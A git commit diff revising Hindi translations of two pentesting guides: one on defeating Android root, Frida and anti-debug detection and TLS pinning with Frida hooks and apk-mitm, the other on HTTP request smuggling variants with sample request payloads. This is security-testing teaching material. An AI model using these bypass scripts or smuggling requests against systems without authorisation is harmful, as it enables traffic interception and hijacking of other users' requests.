Translated ['src/mobile-pentesting/android-app-pentesting/android-anti-i

2025-10-10 18:36:50 +00:00 · 2025-08-22 16:39:56 +00:00 · 2025-08-22 16:39:56 +00:00 · c91dca5c37
commit c91dca5c37
parent 1e66be0daf
4 changed files with 414 additions and 300 deletions
--- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
+++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
@ -2,30 +2,30 @@
 {{#include ../../banners/hacktricks-training.md}}
-यह पृष्ठ उन Android ऐप्स के खिलाफ गतिशील विश्लेषण को पुनः प्राप्त करने के लिए एक व्यावहारिक कार्यप्रवाह प्रदान करता है जो इंस्ट्रुमेंटेशन का पता लगाते हैं/रूट-ब्लॉक करते हैं या TLS पिनिंग को लागू करते हैं। यह तेज़ ट्रायज, सामान्य पहचान और उन्हें बिना रिपैकिंग के बायपास करने के लिए कॉपी-पेस्ट करने योग्य हुक/तकनीकों पर केंद्रित है जब संभव हो।
+यह पेज उन Android ऐप्स के खिलाफ डायनैमिक एनालिसिस फिर से हासिल करने के लिए एक व्यावहारिक वर्कफ़्लो देता है जो instrumentation को detect/root‑block करते हैं या TLS pinning लागू करते हैं। यह तेज़ triage, सामान्य डिटेक्शन्स, और बिना पुनःrepacking के संभव होने पर copy‑pasteable hooks/tactics पर केंद्रित है।
-## Detection Surface (क्या ऐप्स जांचते हैं)
+## Detection Surface (what apps check)
- रूट जांच: su बाइनरी, Magisk पथ, getprop मान, सामान्य रूट पैकेज
+- रूट चेक: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger जांच (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), स्कैनिंग /proc, classpath, लोड की गई लाइब्रेरी
+- Frida/debugger चेक्स (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc स्कैनिंग, classpath, loaded libs
- नेटिव एंटी-डिबग: ptrace(), syscalls, anti-attach, ब्रेकपॉइंट्स, इनलाइन हुक
+- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
- प्रारंभिक init जांच: Application.onCreate() या प्रक्रिया प्रारंभ हुक जो इंस्ट्रुमेंटेशन होने पर क्रैश हो जाते हैं
+- Early init चेक्स: Application.onCreate() या process start hooks जो instrumentation मौजूद होने पर क्रैश कर देते हैं
- TLS पिनिंग: कस्टम TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt पिनिंग, नेटिव पिन
+- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
 ## Step 1 — Quick win: hide root with Magisk DenyList
- Magisk में Zygisk सक्षम करें
+- Zygisk को Magisk में सक्षम करें
- DenyList सक्षम करें, लक्षित पैकेज जोड़ें
+- DenyList सक्षम करें, target package जोड़ें
- रिबूट करें और पुनः परीक्षण करें
+- रीबूट करें और फिर से टेस्ट करें
-कई ऐप्स केवल स्पष्ट संकेतकों (su/Magisk पथ/getprop) की तलाश करते हैं। DenyList अक्सर नासमझ जांचों को निष्क्रिय कर देती है।
+कई ऐप्स केवल स्पष्ट संकेतकों (su/Magisk paths/getprop) की तलाश करते हैं। DenyList अक्सर naive चेक्स को बेअसर कर देता है।
 References:
 - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
 ## Step 2 — 30‑second Frida Codeshare tests
-गहरे गोताखोरी करने से पहले सामान्य ड्रॉप-इन स्क्रिप्ट्स आजमाएं:
+डीप डायव करने से पहले सामान्य drop‑in स्क्रिप्ट्स आज़माएँ:
 - anti-root-bypass.js
 - anti-frida-detection.js
@ -35,42 +35,42 @@ Example:
 ```bash
 frida -U -f com.example.app -l anti-frida-detection.js
 ```
-ये आमतौर पर Java root/debug जांच, प्रक्रिया/सेवा स्कैन और native ptrace() को स्टब करते हैं। हल्के सुरक्षा वाले ऐप्स पर उपयोगी; मजबूत लक्ष्यों के लिए अनुकूलित हुक की आवश्यकता हो सकती है।
+ये सामान्यतः Java root/debug checks, process/service scans, और native ptrace() को stub करते हैं। हल्के‑सुरक्षित apps पर उपयोगी; hardened targets को tailored hooks की आवश्यकता हो सकती है।
 - Codeshare: https://codeshare.frida.re/
-## Step 3 — लेट अटैच करके init-time डिटेक्टर्स को बायपास करें
+## Step 3 — init-time detectors को बाद में attach करके bypass करें
-कई डिटेक्शन केवल प्रक्रिया स्पॉन/onCreate() के दौरान चलते हैं। स्पॉन-टाइम इंजेक्शन (-f) या गैजेट्स पकड़े जाते हैं; UI लोड होने के बाद अटैच करना बच सकता है।
+कई detections केवल process spawn/onCreate() के दौरान ही चलते हैं। Spawn‑time injection (-f) या gadgets पकड़े जाते हैं; UI लोड होने के बाद attach करने पर यह बाईपास हो सकता है।
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
 # Or with Objection to attach to running process
 aobjection --gadget com.example.app explore  # if using gadget
 ```
-यदि यह काम करता है, तो सत्र को स्थिर रखें और मैप और स्टब जांचों के लिए आगे बढ़ें।
+यदि यह काम करता है, तो session को स्थिर रखें और map और stub चेक्स पर आगे बढ़ें।
-## चरण 4 — Jadx और स्ट्रिंग शिकार के माध्यम से डिटेक्शन लॉजिक मैप करें
+## Step 4 — Jadx और string hunting के माध्यम से detection logic का मैप
-Jadx में स्थैतिक ट्रायेज कीवर्ड:
+Static triage keywords in Jadx:
 - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
-विशिष्ट जावा पैटर्न:
+Typical Java patterns:
 ```java
 public boolean isFridaDetected() {
 return getRunningServices().contains("frida");
 }
 ```
-सामान्य APIs की समीक्षा/हुक करने के लिए:
+सामान्य APIs जिन्हें review/hook करना है:
 - android.os.Debug.isDebuggerConnected
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
 - java.lang.System.loadLibrary / System.load (native bridge)
 - java.lang.Runtime.exec / ProcessBuilder (probing commands)
 - android.os.SystemProperties.get (root/emulator heuristics)
-## चरण 5 — Frida के साथ रनटाइम स्टबिंग (Java)
+## चरण 5 — Runtime stubbing with Frida (Java)
-कस्टम गार्ड्स को ओवरराइड करें ताकि बिना रिपैकिंग के सुरक्षित मान लौटाए जा सकें:
+custom guards को ओवरराइड करें ताकि वे बिना repacking किए सुरक्षित मान लौटाएँ:
 ```js
 Java.perform(() => {
 const Checks = Java.use('com.example.security.Checks');
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
 AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
 });
 ```
-प्रारंभिक क्रैश का ट्रायजिंग? यह मरने से पहले कक्षाओं को डंप करें ताकि संभावित पहचान नामस्थान को देखा जा सके:
+Triaging early crashes? Dump classes ठीक मरने से ठीक पहले निकालेँ ताकि संभावित detection namespaces का पता चल सके:
 ```js
 Java.perform(() => {
 Java.enumerateLoadedClasses({
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
 });
 });
 ```
-संदिग्ध विधियों को लॉग करें और निष्क्रिय करें ताकि निष्पादन प्रवाह की पुष्टि हो सके:
+संदिग्ध methods को Log और निष्क्रिय करके execution flow की पुष्टि करें:
 ```js
 Java.perform(() => {
 const Det = Java.use('com.example.security.DetectionManager');
@ -104,24 +104,24 @@ return false;
 };
 });
 ```
-## Step 6 — जब Java hooks विफल होते हैं तो JNI/native ट्रेल का पालन करें
+## चरण 6 — Java hooks विफल होने पर JNI/native ट्रेल का अनुसरण करें
-JNI प्रवेश बिंदुओं का पता लगाएं ताकि स्थानीय लोडर्स और पहचान प्रारंभ को खोजा जा सके:
+native loaders और detection init का पता लगाने के लिए JNI entry points को ट्रेस करें:
 ```bash
 frida-trace -n com.example.app -i "JNI_OnLoad"
 ```
-बंडल किए गए .so फ़ाइलों का त्वरित स्थानीय परीक्षण:
+बंडल किए गए .so फ़ाइलों का त्वरित native triage:
 ```bash
 # List exported symbols & JNI
 nm -D libfoo.so | head
 objdump -T libfoo.so | grep Java_
 strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
 ```
-इंटरएक्टिव/नेटिव रिवर्सिंग:
+इंटरैक्टिव/नेटीव रिवर्सिंग:
 - Ghidra: https://ghidra-sre.org/
 - r2frida: https://github.com/nowsecure/r2frida
-उदाहरण: libc में सरल एंटी-डिबग को हराने के लिए ptrace को न्यूटर करें:
+उदाहरण: ptrace को निष्क्रिय करके libc के सरल anti‑debug को पराजित करें:
 ```js
 const ptrace = Module.findExportByName(null, 'ptrace');
 if (ptrace) {
@ -130,40 +130,43 @@ return -1; // pretend failure
 }, 'int', ['int', 'int', 'pointer', 'pointer']));
 }
 ```
-देखें: {{#ref}}
+See also:
 {{#ref}}
 reversing-native-libraries.md
 {{#endref}}
-## चरण 7 — ऑब्जेक्शन पैचिंग (एंबेड गैजेट / स्ट्रिप बेसिक्स)
+## चरण 7 — Objection patching (embed gadget / strip basics)
-जब आप रनटाइम हुक्स की तुलना में रिपैकिंग को प्राथमिकता देते हैं, तो प्रयास करें:
+जब आप repacking को runtime hooks की तुलना में प्राथमिकता देते हैं, तो कोशिश करें:
 ```bash
 objection patchapk --source app.apk
 ```
-Notes:
+नोट्स:
- apktool की आवश्यकता है; निर्माण समस्याओं से बचने के लिए आधिकारिक गाइड से एक वर्तमान संस्करण सुनिश्चित करें: https://apktool.org/docs/install
+- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
- गैजेट इंजेक्शन रूट के बिना इंस्ट्रुमेंटेशन को सक्षम करता है लेकिन इसे मजबूत init‑time जांच द्वारा पकड़ा जा सकता है।
+- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks.
-References:
+संदर्भ:
 - Objection: https://github.com/sensepost/objection
-## Step 8 — Fallback: नेटवर्क दृश्यता के लिए TLS पिनिंग पैच करें
+## Step 8 — बैकअप: नेटवर्क दृश्यता के लिए TLS pinning को patch करें
-यदि इंस्ट्रुमेंटेशन अवरुद्ध है, तो आप स्थिर रूप से पिनिंग को हटाकर ट्रैफ़िक का निरीक्षण कर सकते हैं:
+यदि instrumentation अवरुद्ध है, तो आप pinning को स्थैतिक रूप से हटाकर अभी भी ट्रैफ़िक का निरीक्षण कर सकते हैं:
 ```bash
 apk-mitm app.apk
 # Then install the patched APK and proxy via Burp/mitmproxy
 ```
- उपकरण: https://github.com/shroudedcode/apk-mitm
+- टूल: https://github.com/shroudedcode/apk-mitm
- नेटवर्क कॉन्फ़िग CA‑trust ट्रिक्स (और Android 7+ उपयोगकर्ता CA ट्रस्ट) के लिए, देखें:
+- नेटवर्क कॉन्फ़िग CA‑trust ट्रिक्स (और Android 7+ user CA trust) के लिए, देखें:
 {{#ref}}
 make-apk-accept-ca-certificate.md
 {{#endref}}
 {{#ref}}
 install-burp-certificate.md
 {{#endref}}
-## उपयोगी कमांड चीट-शीट
+## उपयोगी कमांड चीट‑शीट
 ```bash
 # List processes and attach
 frida-ps -Uai
@ -181,12 +184,12 @@ objection --gadget com.example.app explore
 # Static TLS pinning removal
 apk-mitm app.apk
 ```
-## टिप्स और चेतावनियाँ
+## टिप्स और सावधानियां
- ऐप्स के लॉन्च पर क्रैश होने पर स्पॉनिंग के बजाय लेट अटैच करना पसंद करें
+- जब apps लॉन्च पर crash हों तो spawn करने की बजाय बाद में attach करना प्राथमिकता दें
- कुछ डिटेक्शन महत्वपूर्ण प्रवाह (जैसे, भुगतान, प्रमाणीकरण) में फिर से चलते हैं — नेविगेशन के दौरान हुक सक्रिय रखें
+- कुछ detections critical flows (जैसे payment, auth) में फिर से चल सकती हैं — navigation के दौरान hooks को सक्रिय रखें
- स्थैतिक और गतिशील को मिलाएं: कक्षाओं की शॉर्टलिस्ट के लिए Jadx में स्ट्रिंग हंट करें; फिर रनटाइम पर सत्यापित करने के लिए विधियों को हुक करें
+- static और dynamic को मिक्स करें: Jadx में string hunt कर classes की shortlist बनाएँ; फिर runtime पर verify करने के लिए methods को hook करें
- हार्डन किए गए ऐप्स पैकर और नेटिव TLS पिनिंग का उपयोग कर सकते हैं — नेटिव कोड को रिवर्स करने की अपेक्षा करें
+- Hardened apps packers और native TLS pinning का उपयोग कर सकती हैं — native code को reverse करने की उम्मीद रखें
 ## संदर्भ
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -2,63 +2,64 @@
 {{#include ../../banners/hacktricks-training.md}}
 ## What is
-यह सुरक्षा कमजोरी तब होती है जब **फ्रंट-एंड प्रॉक्सी** और **बैक-एंड** सर्वर के बीच **डिसिंक्रोनाइजेशन** एक **हमलावर** को एक HTTP **अनुरोध** **भेजने** की अनुमति देता है जिसे **फ्रंट-एंड** प्रॉक्सी (लोड बैलेंस/रिवर्स-प्रॉक्सी) द्वारा **एकल अनुरोध** के रूप में और **बैक-एंड** सर्वर द्वारा **2 अनुरोध** के रूप में **व्याख्यायित** किया जाएगा।\
+## यह क्या है
 यह एक उपयोगकर्ता को **उसके बाद बैक-एंड सर्वर पर आने वाले अगले अनुरोध को संशोधित** करने की अनुमति देता है।
-### Theory
+यह भेद्यता तब उत्पन्न होती है जब front-end proxies और back-end सर्वर के बीच एक desynchronization होती है जो एक attacker को ऐसा HTTP request भेजने की अनुमति देती है जिसे front-end proxies (load balance/reverse-proxy) द्वारा एक single request के रूप में और back-end सर्वर द्वारा 2 request के रूप में interpret किया जाता है।\
 इससे एक user अगले request को modify कर सकता है जो उसके बाद back-end server तक पहुँचती है।
 ### सिद्धांत
 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
-> यदि एक संदेश दोनों Transfer-Encoding हेडर फ़ील्ड और Content-Length हेडर फ़ील्ड के साथ प्राप्त होता है, तो बाद वाले को अनदेखा किया जाना चाहिए।
+> यदि कोई संदेश Transfer-Encoding header field और Content-Length header field दोनों के साथ प्राप्त होता है, तो बाद वाले को अनदेखा किया जाना चाहिए।
 **Content-Length**
-> Content-Length एंटिटी हेडर उस एंटिटी-शरीर के आकार को दर्शाता है, जो प्राप्तकर्ता को भेजा गया है, बाइट्स में।
+> Content-Length entity header दर्शाता है कि entity-body का आकार, बाइट्स में, recipient को भेजा गया है।
 **Transfer-Encoding: chunked**
-> Transfer-Encoding हेडर उस एन्कोडिंग के रूप को निर्दिष्ट करता है जिसका उपयोग सुरक्षित रूप से पेलोड शरीर को उपयोगकर्ता तक पहुँचाने के लिए किया जाता है।\
+> Transfer-Encoding header payload body को सुरक्षित रूप से transfer करने के लिए उपयोग किए जाने वाले encoding के रूप को निर्दिष्ट करता है।\
-> Chunked का अर्थ है कि बड़े डेटा को कई टुकड़ों में भेजा जाता है।
+> Chunked का अर्थ है कि बड़े डेटा को chunks की एक श्रृंखला में भेजा जाता है।
-### Reality
+### वास्तविकता
-**फ्रंट-एंड** (एक लोड-बैलेंस / रिवर्स प्रॉक्सी) _**content-length**_ या _**transfer-encoding**_ हेडर को **प्रोसेस** करता है और **बैक-एंड** सर्वर **दूसरे** को प्रोसेस करता है जिससे 2 सिस्टम के बीच **डिसिंक्रोनाइजेशन** उत्पन्न होता है।\
+Front-End (एक load-balance / Reverse Proxy) एक header (Content-Length या Transfer-Encoding) को process करता है और Back-end server दूसरे header को process करता है, जिससे दोनों प्रणालियों के बीच desynchronization होता है।\
-यह बहुत महत्वपूर्ण हो सकता है क्योंकि **एक हमलावर एक अनुरोध** रिवर्स प्रॉक्सी को भेजने में सक्षम होगा जिसे **बैक-एंड** सर्वर द्वारा **2 अलग-अलग अनुरोधों** के रूप में **व्याख्यायित** किया जाएगा। इस तकनीक का **खतरा** इस तथ्य में निहित है कि **बैक-एंड** सर्वर **2nd अनुरोध** को इस तरह **व्याख्यायित** करेगा जैसे कि यह **अगले क्लाइंट** से आया हो और उस क्लाइंट का **वास्तविक अनुरोध** **इंजेक्टेड अनुरोध** का **भाग** होगा।
+यह बहुत गंभीर हो सकता है क्योंकि एक attacker reverse proxy को एक ऐसा request भेज सकेगा जिसे back-end server दो अलग requests के रूप में interpret करेगा। इस तकनीक का खतरा इस बात में है कि back-end server द्वारा inject की गई दूसरी request को ऐसा माना जाएगा मानो वह अगले client से आई हो और उस client का वास्तविक request inject की गई request का हिस्सा बन जाएगा।
-### Particularities
+### विशेषताएँ
-याद रखें कि HTTP में **एक नई पंक्ति का वर्ण 2 बाइट्स से बना होता है:**
+याद रखें कि HTTP में एक new line character 2 बाइट्स से बना होता है:
- **Content-Length**: यह हेडर **बाइट्स** की **संख्या** को इंगित करने के लिए **दशमलव संख्या** का उपयोग करता है। अनुरोध के **शरीर** की संख्या। शरीर को अंतिम वर्ण में समाप्त होने की उम्मीद है, **अनुरोध के अंत में एक नई पंक्ति की आवश्यकता नहीं है**।
+- **Content-Length**: यह header request के body के बाइट्स की संख्या दर्शाने के लिए एक decimal number का उपयोग करता है। body के अंत की उम्मीद आखिरी character में होती है, request के अंत में नया लाइन होना आवश्यक नहीं है।
- **Transfer-Encoding:** यह हेडर **शरीर** में **हैक्साडेसिमल संख्या** का उपयोग करता है जो **अगले टुकड़े** के **बाइट्स** की संख्या को इंगित करता है। **टुकड़ा** को **नई पंक्ति** के साथ **समाप्त** होना चाहिए लेकिन यह नई पंक्ति **लंबाई संकेतक** द्वारा **गिनी नहीं जाती**। इस ट्रांसफर विधि को **0 आकार के टुकड़े के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ** हों: `0`
+- **Transfer-Encoding:** यह header body में अगले chunk के आकार को दर्शाने के लिए hexadecimal number का उपयोग करता है। chunk को एक new line के साथ समाप्त होना चाहिए लेकिन यह new line length indicator में गिना नहीं जाता। इस transfer method का अंत size 0 के chunk से होना चाहिए जिसके बाद 2 new lines हों: `0`
- **Connection**: मेरे अनुभव के आधार पर, अनुरोध स्मगलिंग के पहले अनुरोध पर **`Connection: keep-alive`** का उपयोग करने की सिफारिश की जाती है।
+- **Connection**: मेरे अनुभव के अनुसार request Smuggling के पहले request पर **`Connection: keep-alive`** उपयोग करने की सिफारिश की जाती है।
 ## Basic Examples
 > [!TIP]
-> जब Burp Suite के साथ इसका शोषण करने की कोशिश कर रहे हों, तो **`Update Content-Length` और `Normalize HTTP/1 line endings`** को रिपीटर में बंद करें क्योंकि कुछ गैजेट नई पंक्तियों, कैरिज रिटर्न और गलत सामग्री-लंबाई का दुरुपयोग करते हैं।
+> जब इसे Burp Suite से exploit करने की कोशिश करें तो repeater में **`Update Content-Length` और `Normalize HTTP/1 line endings`** को disable कर दें क्योंकि कुछ gadgets newlines, carriage returns और malformed content-lengths का दुरुपयोग करते हैं।
-HTTP अनुरोध स्मगलिंग हमलों को अस्पष्ट अनुरोध भेजकर तैयार किया जाता है जो फ्रंट-एंड और बैक-एंड सर्वरों के बीच `Content-Length` (CL) और `Transfer-Encoding` (TE) हेडरों की व्याख्या में विसंगतियों का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अनूठा संयोजन दर्शाता है। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।
+HTTP request smuggling हमले ambiguous requests भेजकर तैयार किए जाते हैं जो front-end और back-end सर्वरों के बीच `Content-Length` (CL) और `Transfer-Encoding` (TE) headers की व्याख्या में अंतर का शोषण करते हैं। ये हमले अलग-अलग रूपों में प्रकट हो सकते हैं, मुख्यतः **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार यह दर्शाता है कि front-end और back-end सर्वर इन headers को किस तरह प्राथमिकता देते हैं। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही request को अलग-अलग तरीकों से process करते हैं, जिससे अप्रत्याशित और संभावित रूप से malicious परिणाम होते हैं।
-### Basic Examples of Vulnerability Types
+### Vulnerability Types के बुनियादी उदाहरण
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 > [!TIP]
-> पिछले तालिका में आपको TE.0 तकनीक जोड़नी चाहिए, जैसे CL.0 तकनीक लेकिन Transfer Encoding का उपयोग करते हुए।
+> ऊपर की तालिका में आपको TE.0 technique भी जोड़नी चाहिए, यह CL.0 technique की तरह है पर Transfer Encoding का उपयोग करती है।
 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **फ्रंट-एंड (CL):** `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
+- **Front-End (CL):** request को `Content-Length` header के आधार पर process करता है।
- **बैक-एंड (TE):** `Transfer-Encoding` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
+- **Back-End (TE):** request को `Transfer-Encoding` header के आधार पर process करता है।
- **हमला परिदृश्य:**
+- **Attack Scenario:**
- हमलावर एक अनुरोध भेजता है जहाँ `Content-Length` हेडर का मान वास्तविक सामग्री की लंबाई से मेल नहीं खाता।
+- attacker ऐसा request भेजता है जहाँ `Content-Length` header का मान वास्तविक content length से मेल नहीं खाता।
- फ्रंट-एंड सर्वर `Content-Length` मान के आधार पर पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
+- front-end server `Content-Length` मान के आधार पर पूरे request को back-end को फॉरवर्ड करता है।
- बैक-एंड सर्वर `Transfer-Encoding: chunked` हेडर के कारण अनुरोध को टुकड़ों के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, अगला अनुरोध के रूप में व्याख्यायित करता है।
+- back-end server `Transfer-Encoding: chunked` header के कारण request को chunked के रूप में process करता है, और शेष डेटा को एक अलग, subsequent request के रूप में interpret कर देता है।
- **उदाहरण:**
+- **Example:**
 ```
 POST / HTTP/1.1
@ -75,14 +76,14 @@ Foo: x
 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **फ्रंट-एंड (TE):** `Transfer-Encoding` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
+- **Front-End (TE):** request को `Transfer-Encoding` header के आधार पर process करता है।
- **बैक-एंड (CL):** `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
+- **Back-End (CL):** request को `Content-Length` header के आधार पर process करता है।
- **हमला परिदृश्य:**
+- **Attack Scenario:**
- हमलावर एक टुकड़ा अनुरोध भेजता है जहाँ टुकड़े का आकार (`7b`) और वास्तविक सामग्री की लंबाई (`Content-Length: 4`) मेल नहीं खाती।
+- attacker एक chunked request भेजता है जहाँ chunk size (`7b`) और वास्तविक content length (`Content-Length: 4`) मेल नहीं खाते।
- फ्रंट-एंड सर्वर, `Transfer-Encoding` का सम्मान करते हुए, पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
+- front-end server `Transfer-Encoding` का सम्मान करते हुए पूरे request को back-end को भेजता है।
- बैक-एंड सर्वर, `Content-Length` का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (`7b` बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित अगला अनुरोध के भाग के रूप में छोड़ देता है।
+- back-end server `Content-Length` के अनुसार केवल request के शुरुआती भाग (`7b` bytes) को process करता है, शेष भाग अनजाने में subsequent request का हिस्सा बन जाता है।
- **उदाहरण:**
+- **Example:**
 ```
 POST / HTTP/1.1
@ -104,13 +105,13 @@ x=
 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **सर्वर:** दोनों `Transfer-Encoding` का समर्थन करते हैं, लेकिन एक को धोखे में रखा जा सकता है कि वह इसे अनदेखा कर दे।
+- **Servers:** दोनों `Transfer-Encoding` को सपोर्ट करते हैं, लेकिन एक को obfuscation के जरिए इसे न पहचानने के लिए trick किया जा सकता है।
- **हमला परिदृश्य:**
+- **Attack Scenario:**
- हमलावर एक अनुरोध भेजता है जिसमें धोखे में `Transfer-Encoding` हेडर होते हैं।
+- attacker obfuscated `Transfer-Encoding` headers के साथ request भेजता है।
- जिस सर्वर (फ्रंट-एंड या बैक-एंड) को धोखे को पहचानने में विफलता होती है, वहाँ CL.TE या TE.CL कमजोरी का लाभ उठाया जा सकता है।
+- जिस server (front-end या back-end) को obfuscation पहचानने में विफलता होती है, वह CL.TE या TE.CL vulnerability का शोषण होने दे सकता है।
- अनुरोध का अप्रसंस्कृत भाग, जैसा कि एक सर्वर द्वारा देखा जाता है, एक अगला अनुरोध बन जाता है, जिससे स्मगलिंग होती है।
+- एक server द्वारा न process किया गया request का भाग subsequent request का हिस्सा बन जाता है, जिससे smuggling होता है।
- **उदाहरण:**
+- **Example:**
 ```
 POST / HTTP/1.1
@ -131,9 +132,9 @@ Transfer-Encoding
 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- दोनों सर्वर केवल `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करते हैं।
+- दोनों सर्वर केवल `Content-Length` header के आधार पर request को process करते हैं।
- यह परिदृश्य आमतौर पर स्मगलिंग की ओर नहीं ले जाता है, क्योंकि दोनों सर्वर अनुरोध की लंबाई को व्याख्यायित करने में संरेखित होते हैं।
+- यह scenario सामान्यतः smuggling नहीं पैदा करता क्योंकि दोनों सर्वर request length की व्याख्या में aligned होते हैं।
- **उदाहरण:**
+- **Example:**
 ```
 POST / HTTP/1.1
@ -146,9 +147,9 @@ Normal Request
 #### **CL.0 Scenario**
- उन परिदृश्यों को संदर्भित करता है जहाँ `Content-Length` हेडर मौजूद है और इसका मान शून्य के अलावा है, यह संकेत करते हुए कि अनुरोध शरीर में सामग्री है। बैक-एंड `Content-Length` हेडर को अनदेखा करता है (जिसे 0 के रूप में माना जाता है), लेकिन फ्रंट-एंड इसे पार्स करता है।
+- उन परिस्थितियों को संदर्भित करता है जहाँ `Content-Length` header मौजूद है और उसका मान शून्य से अलग है, यह दर्शाता है कि request body में सामग्री है। back-end `Content-Length` header को अनदेखा कर देता है (जिसे 0 माना जाता है), पर front-end इसे parse करता है।
- यह स्मगलिंग हमलों को समझने और तैयार करने में महत्वपूर्ण है, क्योंकि यह प्रभावित करता है कि सर्वर अनुरोध के अंत का निर्धारण कैसे करते हैं।
+- यह समझने और smuggling attacks बनाने में महत्वपूर्ण है क्योंकि यह प्रभावित करता है कि सर्वर request के अंत का निर्णय कैसे लेते हैं।
- **उदाहरण:**
+- **Example:**
 ```
 POST / HTTP/1.1
@ -161,9 +162,9 @@ Non-Empty Body
 #### TE.0 Scenario
- पिछले वाले की तरह लेकिन TE का उपयोग करते हुए।
+- पिछले वाले की तरह पर TE का उपयोग करते हुए।
- तकनीक [यहाँ रिपोर्ट की गई](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **उदाहरण**:
+- **Example**:
 ```
 OPTIONS / HTTP/1.1
 Host: {HOST}
@ -183,31 +184,32 @@ EMPTY_LINE_HERE
 ```
 #### वेब सर्वर को तोड़ना
-यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ **प्रारंभिक HTTP डेटा पढ़ते समय एक वेब सर्वर को तोड़ना संभव है** लेकिन **कनेक्शन को बंद किए बिना**। इस तरह, HTTP अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
+यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ प्रारंभिक **HTTP डेटा पढ़ते समय वेब सर्वर को तोड़ा जा सके** पर **कनेक्शन बंद किए बिना**। इस तरह, HTTP अनुरोध की **बॉडी** अगले **HTTP अनुरोध** के रूप में मानी जाएगी।
-उदाहरण के लिए, जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** वर्ण भेजना संभव था और इससे सर्वर **टूट** जाएगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
+उदाहरण के लिए, जैसा कि [**this writeup**](https://mizu.re/post/twisty-python), में बताया गया है, Werkzeug में कुछ **Unicode** characters भेजना संभव था और इससे सर्वर **ब्रेक** हो जाता था। हालांकि, यदि HTTP कनेक्शन हेडर **`Connection: keep-alive`** के साथ बनाया गया था, तो अनुरोध की बॉडी पढ़ी नहीं जाएगी और कनेक्शन खुला रहेगा, इसलिए अनुरोध की **बॉडी** अगले **HTTP अनुरोध** के रूप में माना जाएगा।
-#### हॉप-बाय-हॉप हेडर के माध्यम से मजबूर करना
+#### hop-by-hop headers के जरिए मजबूर करना
-हॉप-बाय-हॉप हेडर का दुरुपयोग करते हुए आप प्रॉक्सी को **हेडर Content-Length या Transfer-Encoding को हटाने के लिए संकेत दे सकते हैं ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके**।
+hop-by-hop headers का दुरुपयोग करके आप proxy को संकेत दे सकते हैं कि वह **Content-Length या Transfer-Encoding हेडर को हटा दे ताकि HTTP request smuggling का दुरुपयोग संभव हो सके।**
 ```
 Connection: Content-Length
 ```
-For **more information about hop-by-hop headers** visit:
+अधिक जानकारी के लिए **hop-by-hop headers** देखें:
 {{#ref}}
